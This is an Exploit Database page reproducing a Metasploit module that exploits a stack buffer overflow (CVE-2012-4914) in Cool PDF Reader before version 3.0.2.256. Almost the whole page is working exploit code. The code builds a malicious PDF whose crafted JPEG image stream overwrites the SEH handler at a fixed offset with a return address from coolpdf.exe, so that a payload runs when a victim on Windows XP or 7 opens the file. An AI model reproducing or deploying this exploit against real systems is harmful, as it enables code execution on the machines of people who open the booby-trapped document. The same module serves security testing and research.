Cool PDF Image Stream – Remote Buffer Overflow (Metasploit)

Exploit Database
109 阅读

作者： Metasploit

日期： 2013-03-22
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/24876/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

include Msf::Exploit::PDF

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Cool PDF Image Stream Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Cool PDF Reader prior to version

3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that

contains a specially crafted image stream. This module has been tested successfully

on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP1.

'License'=> MSF_LICENSE,

'Author' =>

[

'Francis Provencher', # Vulnerability discovery

'Chris Gabriel', # Proof of concept

'juan vazquez' # Metasploit module

'References' =>

[

[ 'CVE', '2012-4914' ],

[ 'OSVDB', '89349' ],

[ 'EDB', '24463' ],

[ 'URL', 'http://www.protekresearchlab.com/index.php?option=com_content&view=article&id=70&Itemid=70' ]

'Payload'=>

{

'Space' => 2000,

'DisableNops' => true

'Platform' => 'win',

'Targets'=>

[

[ 'Cool PDF 3.0.2.256 / Windows 7 SP1 / Windows XP SP3',

{

'Offset' => 433,

'Ret' => 0x00539fa4 # ppr from coolpdf.exe

}

]

'DisclosureDate' => 'Jan 18 2013',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The output filename.', 'msf.pdf'])

], self.class)

end

def exploit

file_create(make_pdf)

end

def jpeg

p = payload.encoded

sploit ="\xFF\xD8\xFF\xEE\x00\x0E\x41\x64" + "\x6F\x62\x65\x00\x64\x80\x00\x00"

sploit << "\x00\x02\xFF\xDB\x00\x84\x00\x02" + "\x02\x02\x02\x02\x02\x02\x02\x02"

sploit << "\x02\x03\x02\x02\x02\x03\x04\x03" + "\x03\x03\x03\x04\x05\x04\x04\x04"

sploit << "\x04\x04\x05\x05\x05\x05\x05\x05" + "\x05\x05\x05\x05\x07\x08\x08\x08"

sploit << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09" + "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"

sploit << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01" + "\x03\x02\x02\x03\x03\x03\x07\x05"

sploit << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F" + "\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"

sploit << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C" + "\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"

sploit << "\x0E\x0E\x0C\x11\x11\x11\x11\x11" + "\x11\x11\x11\x11\x11\x11\x11\x11"

sploit << "\x11\x11\x11\x11\x11\x11\x11\x11" + "\xFF\xC0\x00\x14\x08\x00\x32\x00"

sploit << "\xE6\x04\x01\x11\x00\x02\x11\x01" + "\x03\x11\x01\x04\x11\x00\xFF\xC4"

sploit << "\x01\xA2\x00\x00\x00\x07\x01\x01" + "\x01\x01\x01\x00\x00\x00\x00\x00"

sploit << "\x00\x00\x00\x04\x05\x03\x02\x06" + "\x01\x00\x07\x08\x09\x0A\x0B\x01"

sploit << "\x54\x02\x02\x03\x01\x01\x01\x01" + "\x01\x00\x00\x00\x00\x00\x00\x00"

sploit << "\x01\x00\x02\x03\x04\x05\x06\x07"

sploit << rand_text(target['Offset'])

sploit << generate_seh_record(target.ret)

sploit << p

sploit << rand_text(2388 - p.length)

return sploit

end

# Override the mixin obfuscator since it doesn't seem to work here.

def nObfu(str)

return str

end

def make_pdf

@pdf << header

add_object(1, nObfu("<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>"))

add_object(2, nObfu("<</Type/Outlines>>"))

add_object(3, nObfu("<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>"))

add_object(4, nObfu("[/PDF/Text/ImageC]"))

add_object(5, nObfu("<</Type/Page/Parent 3 0 R/Contents 6 0 R>>"))

stream_1 = "stream" << eol

stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol

stream_1 << "endstream" << eol

add_object(6, nObfu("<</Length 91>>#{stream_1}"))

stream = "<<" << eol

stream << "/Width 230" << eol

stream << "/BitsPerComponent 8" << eol

stream << "/Name /X" << eol

stream << "/Height 50" << eol

stream << "/Intent /RelativeColorimetric" << eol

stream << "/Subtype /Image" << eol

stream << "/Filter /DCTDecode" << eol

stream << "/Length #{jpeg.length}" << eol

stream << "/ColorSpace /DeviceCMYK" << eol

stream << "/Type /XObject" << eol

stream << ">>"

stream << "stream" << eol

stream << jpeg << eol

stream << "endstream" << eol

add_object(7, stream)

finish_pdf

end